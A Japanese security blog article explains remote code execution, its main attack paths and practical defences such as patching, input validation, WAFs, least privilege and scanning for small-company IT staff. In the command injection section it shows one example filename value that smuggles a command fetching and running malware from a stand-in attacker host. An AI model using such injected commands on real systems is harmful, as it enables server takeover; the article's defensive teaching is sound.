セキュリティ情報を日頃チェックしていると「〇〇製品にリモートコード実行の脆弱性が発見」というニュースを目にします。重大だとはわかっていても、「具体的に何が起きるのか」「自社のシステムにどう影響するか」が掴みにくいという声をよく聞きます。
RCE(Remote Code Execution:リモートコード実行)は、脆弱性の中でも最も深刻な分類に位置づけられる攻撃手法です。攻撃者がネットワーク越しにサーバー上で任意のコードを動かせる状態は、情報窃取・ランサムウェア展開・システム全体の乗っ取りに直結します。
この記事ではRCEの仕組みと代表的な攻撃経路を解説し、インフラエンジニアや中小企業の情シスが現実的に取れる防御手順を現場目線でまとめます。

RCE(リモートコード実行)とは?
RCE(Remote Code Execution)は、攻撃者がネットワーク経由で対象システム上で任意のプログラムを実行できてしまう脆弱性の総称です。
通常、サーバーのOSやアプリケーションは「許可された処理しか実行できない」前提で動いています。RCEはその前提を突き崩し、攻撃者が意図したコード——マルウェアの投下、ファイルの窃取、バックドアの設置——をシステム内で自由に走らせてしまいます。
なぜRCEは最も深刻なのか
脆弱性の深刻度を数値化したCVSSスコアでは、RCEを引き起こす脆弱性はスコア9.0以上(Critical)になるケースが多く、OWASP Top 10でも長年にわたって上位に挙げられています。
その理由はシンプルです。RCEは「攻撃の起点」であると同時に「被害の最大化装置」でもあるからです。
・完全な制御権の奪取: シェルアクセスを得た攻撃者はOSコマンドを自由に実行できます
・横移動の足がかり: 侵入したサーバーから内部ネットワークを探索・侵食します
・ランサムウェアの展開: ファイルの暗号化・身代金要求まで全自動で進みます
・持続的な潜伏: バックドアやWebシェルを設置し、駆除後も再侵入できます
RCEが起きる仕組み:代表的な5つの攻撃経路
RCEは単一の攻撃手法ではありません。複数の脆弱性タイプが「コード実行」という結果に至る経路を持っています。
1. 脆弱なライブラリの悪用(Log4Shell型)
2021年末に世界規模で問題になったLog4Shell(CVE-2021-44228)は、JavaのロギングライブラリLog4jに潜むRCEです。
ログに特定の文字列を書き込むだけで、攻撃者が指定した外部サーバーから任意のJavaクラスをダウンロードして実行させる仕組みでした。「ログを書く」という通常の操作がトリガーになるため、多くの組織が被害に気づくのが遅れました。アプリケーションが依存するライブラリのバージョン管理がいかに重要かを示した代表例です。
2. バッファオーバーフロー
バッファオーバーフローは、プログラムのメモリ管理の不備を突いてコード実行権を奪う古典的な手法です。C/C++で書かれたネイティブコードに多く、入力サイズの境界チェックが欠けた処理が標的になります。
攻撃者はバッファの許容サイズを超えるデータを送りつけることで、メモリ上のリターンアドレスを書き換え、任意のコードへ処理を誘導します。ネットワーク機器・VPNアプライアンス・組み込みシステムでいまも定期的に発見される手法です。
3. OSコマンドインジェクション
OSコマンドインジェクションは、アプリケーションがユーザー入力をシェルコマンドの一部として使い回すときに発生します。
たとえばファイル変換ツールが受け取ったファイル名をそのままコマンドに渡す実装だったとします。攻撃者がファイル名に `; curl attacker.example.com/malware | sh` のような文字列を仕込むと、サーバーはそのままマルウェアをダウンロードして実行します。Webアプリケーション・バッチ処理・管理ツールのどれでも発生しうる脆弱性です。
4. ファイルアップロードの欠陥
拡張子チェックやMIMEタイプ検証が不十分なアップロード機能は、攻撃者がPHPやPythonのスクリプト(Webシェル)を設置する入口になります。一度Webシェルが置かれると、ブラウザ経由でサーバー上のコマンドを自由に実行できる状態になります。
WordPressプラグインや自社開発のファイル受信機能に多く、「画像だけ受け付けているつもり」でも拡張子の確認だけでは不十分なことがあります。
5. デシリアライゼーションの欠陥
オブジェクトをバイト列に変換して送受信する仕組み(シリアライズ)で、受信側の復元処理(デシリアライズ)に欠陥があるとRCEにつながります。Java・PHP・Pythonの主要フレームワークで過去に多数の事例があり、外部から受け取ったデータをそのままデシリアライズすることは特に危険です。
代表的な被害フロー:初期侵入から全体展開まで
RCEが成功してから実際の被害が顕在化するまでには、複数の段階があります。
| フェーズ | 攻撃者の行動 | 業務への影響 |
|---|---|---|
| 初期侵入 | RCEで最初のシェルを取得 | この段階では被害がまだ表面化しにくい |
| 永続化 | バックドア・Webシェルの設置 | 駆除後も再侵入される |
| 内部偵察 | DB接続情報・認証情報の窃取 | 顧客データ・個人情報の流出 |
| 横移動 | 隣接サーバー・Active Directoryへの侵入 | 社内システム全体が危険にさらされる |
| 最終段階 | ランサムウェア展開・データ暗号化 | 業務停止・身代金要求・信用失墜 |
初期侵入からランサムウェア展開まで、わずか数時間で完結するケースも珍しくありません。発見・対応が遅れるほど被害は指数的に拡大します。
具体的な防御手順
1. ソフトウェアとライブラリを最新に保つ
RCEの入口となる脆弱性の大部分は、既知の欠陥を抱えた古いバージョンのソフトウェアやライブラリです。パッチ管理を定期的なルーティンにすることが、最もコストパフォーマンスの高い対策です。
# AlmaLinux/RHEL系 — セキュリティパッチの確認と適用 dnf check-update --security dnf update --security -y # Ubuntu/Debian系 apt-get update && apt-get upgrade -y # npmパッケージの脆弱性チェック(Node.jsプロジェクト) npm audit npm audit fix
OSだけでなく、アプリが使うライブラリ(npm・pip・Composerなど)の更新も同じ頻度で確認することが重要です。
2. 入力値の徹底的な検証(バリデーション)
すべてのユーザー入力は「信頼できないデータ」として扱います。
・型チェック: 数値フィールドには数値のみを受け付ける
・シェルへの渡し方: ユーザー入力を直接シェルコマンドに渡さない。どうしても必要な場合は言語の標準ライブラリのエスケープ関数を使う
・ホワイトリスト方式: 許可する文字セットを限定し、それ以外を拒否する
・ファイルアップロード制限: 拡張子・MIMEタイプ・ファイルサイズを複合的に検証する。アップロードディレクトリでスクリプト実行を無効にする
3. WAFで既知の攻撃パターンをブロックする
WAF(Webアプリケーションファイアウォール)はHTTPリクエストを監視し、既知の攻撃パターンを検知してブロックします。CVE公開直後のパッチ適用が間に合わない時間帯に被害を抑制する「時間稼ぎ」として有効です。
クラウド型WAF(AWS WAF・Cloudflare・さくらのクラウドWAFなど)は月額数千円から導入でき、中小企業にも現実的な選択肢になっています。
4. 最小権限の原則でダメージを封じ込める
RCEが成功したとしても、プロセスの実行権限を最小限に抑えることで被害範囲を限定できます。
・Webサーバーをrootで動かさない: Apache・Nginxは専用の非特権ユーザーで実行する
・Dockerのrootless化: コンテナをrootlessモードで動かす
・systemdサンドボックス: PrivateTmp・NoNewPrivileges・ReadOnlyPathsで動作を制限する
・SELinux・AppArmor: 強制アクセス制御でファイルアクセスをさらに絞る
5. 定期的な脆弱性スキャンで弱点を先に見つける
攻撃者は常にインターネット上のサーバーをスキャンして脆弱なシステムを探しています。脆弱性スキャンを定期的に実施することで、攻撃者より先に自社の弱点を発見できます。
# Nmap — バージョン検出でパッチ未適用のサービスを確認 nmap -sV --script=vuln 192.168.1.0/24 # OpenVAS(GVM)— 総合脆弱性スキャナー(要セットアップ) gvm-setup # 初回セットアップ # ブラウザから https://localhost:9392 にアクセスしてスキャン設定
中小企業でも今日からできること
「エンジニアが1人しかいない」「セキュリティ予算がほとんどない」という環境でも、次の3ステップは今すぐ着手できます。
・ステップ1 — まずソフトウェアを更新する: OSとWebアプリのバージョンを確認し、古ければアップデートします。既知のRCEの大部分は更新済みの環境では通用しません
・ステップ2 — クラウドWAFを有効にする: レンタルサーバーのWAFオプション、Cloudflare無料プラン、WordPressならWordfenceなどを有効化します
・ステップ3 — ファイルアップロード機能を見直す: 管理画面や問い合わせフォームのアップロード機能で「あらゆるファイルを受け付ける」設定になっていないか確認します
ゼロデイ脆弱性が公表されたときには、CVSSスコアが9.0以上かどうかを確認し、該当する場合はパッチが出るまでの間、そのサービスへのアクセスを限定するか、WAFルールを一時的に強化することを検討してください。
よくある誤解と注意点
【誤解1】「うちは小さい会社だから狙われない」
現代のRCE攻撃の大半は、攻撃者が手動で標的を選ぶのではなく、インターネット上のサーバーを自動スキャンして脆弱なシステムを機械的に攻撃します。企業規模は無関係です。むしろセキュリティ対策が手薄な中小企業は、攻撃者にとって「狙いやすいターゲット」になっています。
【誤解2】「WAFを入れれば完璧」
WAFは有効な防御層ですが、すべてのRCEを防げるわけではありません。難読化された攻撃コード、新種のゼロデイ、アプリ固有のロジックを悪用した攻撃など、シグネチャが追いつかないケースがあります。WAFはソフトウェア更新・入力検証・権限管理と組み合わせて初めて機能する多層防御の一要素です。
【誤解3】「RCEはWebアプリだけの問題」
ルーター・VPNアプライアンス・NAS・メールサーバーなど、ネットワークに接続するあらゆる機器がRCEの標的になります。ファームウェアが長期間更新されていない機器は、既知のRCEを抱えたまま動き続けているリスクがあります。Webアプリと同じ頻度でネットワーク機器のファームウェアも確認してください。

本記事のまとめ
| ポイント | 内容 |
|---|---|
| RCEとは | 攻撃者がリモートから任意コードを実行できる、最高リスクの脆弱性分類 |
| 主な攻撃経路 | 脆弱なライブラリ・バッファオーバーフロー・コマンドインジェクション・ファイルアップロード・デシリアライゼーション |
| 最優先の対策 | ソフトウェア更新(パッチ適用)+ WAF + 最小権限の原則 |
| 中小企業の現実解 | まず更新→クラウドWAF有効化→アップロード機能の見直しの順で着手 |
| 重要な認識 | 規模に関わらず自動スキャンで攻撃を受ける。WAFだけでは不十分 |
RCEは「コードが実行される」という一点において、ほかの多くの脆弱性より被害が深刻です。ただし、対策の基本は「ソフトウェアを最新に保つ」という地道な作業です。攻撃者は自動化されたツールで脆弱なシステムを探し続けています。その探索より先に自社の弱点を塞ぐ習慣が、中小企業のセキュリティを守る現実的な答えです。
Linuxサーバーの権限管理や最小権限設定の詳細については、姉妹サイトLinuxMaster.JPでも詳しく解説しています。
PR
体系的に学ぶ 安全なWebアプリケーションの作り方 第2版(徳丸浩/SBクリエイティブ)
SQLインジェクション・XSS・コマンドインジェクション・ファイルアップロードの欠陥など、RCEにつながる脆弱性の仕組みと対策を体系的に学べる定番書。開発者・情シス双方にとって手元に置いておきたい一冊です。
